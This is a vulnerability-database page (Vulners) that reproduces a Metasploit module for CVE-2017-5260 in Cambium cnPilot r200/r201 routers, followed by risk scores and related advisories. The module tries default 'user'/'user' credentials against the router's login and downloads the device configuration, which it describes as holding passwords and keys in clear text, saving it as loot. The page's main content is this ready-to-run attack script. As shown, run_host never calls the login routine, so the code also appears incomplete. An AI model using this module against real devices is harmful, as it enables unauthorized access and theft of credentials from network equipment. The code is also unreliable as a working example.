Lucene search
K

Cambium cnPilot r200/r201 Login Scanner and Config Dump

🗓️ 18 Dec 2017 22:32:55Reported by Karn Ganeshen <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 43 Views

Cambium cnPilot r200/r201 Login Scanner and Config Dump. Scans for device login, identifies valid credentials, and dumps insecure device config

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2017-5260
29 May 201815:50
circl
CNVD
Cambium Networks cnPilot Direct Object Reference Elevation of Privilege Vulnerability
21 Dec 201700:00
cnvd
CVE
CVE-2017-5260
20 Dec 201722:00
cve
Cvelist
CVE-2017-5260
20 Dec 201722:00
cvelist
NVD
CVE-2017-5260
20 Dec 201722:29
nvd
OSV
CVE-2017-5260
20 Dec 201722:29
osv
Packet Storm
Cambium CnPilot R200/r201 Login Scanner And Config Dump
1 Sep 202400:00
packetstorm
Prion
Design/Logic Flaw
20 Dec 201722:29
prion
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Auxiliary::CNPILOT

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Cambium cnPilot r200/r201 Login Scanner and Config Dump',
      'Description' => %{
        This module scans for Cambium cnPilot r200/r201 management login
        portal(s), attempts to identify valid credentials, and dump device
        configuration.

        The device has at least two (2) users - admin and user. Due to an
        access control vulnerability, it is possible for 'user' account to access full
        device config. All information, including passwords, and keys, is stored
        insecurely, in clear-text form, thus allowing unauthorized admin access to any
        user.
      },
      'Author' =>
        [
          'Karn Ganeshen <KarnGaneshen[at]gmail.com>'
        ],
      'References' =>
        [
          ['CVE', '2017-5260'],
          ['URL', 'https://www.rapid7.com/blog/post/2017/12/19/r7-2017-25-cambium-epmp-and-cnpilot-multiple-vulnerabilities/']
        ],
      'License' => MSF_LICENSE
     )
    )

    register_options(
      [
        OptInt.new('TIMEOUT', [true, 'HTTP connection timeout', 10]),
        Opt::RPORT(80),	# Application may run on a different port too. Change port accordingly.
        OptString.new('USERNAME', [false, 'A specific username to authenticate as', 'user']),
        OptString.new('PASSWORD', [false, 'A specific password to authenticate with', 'user'])
      ], self.class
    )
  end

  def run_host(ip)
    unless is_app_cnpilot?
      return
    end
  end

  #
  # Login & initiate dump_config
  #

  def run_login
    each_user_pass do |user, pass|
      cookie = do_login(user, pass)
      if cookie == 'skip'
        # do nothing
      else
        dump_config(cookie)
      end
    end
  end

  #
  # Dump device configuration
  #

  def dump_config(the_cookie)
    res = send_request_cgi(
      {
        'uri' => '/goform/down_cfg_file',
        'method' => 'GET',
        'cookie' => the_cookie,
        'headers' => {
          'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'
        }
      }
    )

    if res && res.code == 200 && res.headers['content-disposition']
      print_status("#{rhost}:#{rport} - dumping device configuration")
      print_good("#{rhost}:#{rport} - Configfile.cfg retrieved successfully!")
      loot_name = 'Configfile.cfg'
      loot_type = 'text/plain'
      loot_desc = 'Cambium cnPilot Config'
      path = store_loot(loot_name, loot_type, datastore['RHOST'], res.body, loot_desc)
      print_good("#{rhost}:#{rport} - File saved in: #{path}")
    else
      print_error("#{rhost}:#{rport} - Failed to retrieve config. Set a higher HTTPCLIENTTIMEOUT and try again.")
      return
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 Feb 2022 23:22Current
0.4Low risk
Vulners AI Score0.4
CVSS 29
CVSS 38.8
EPSS0.08133
43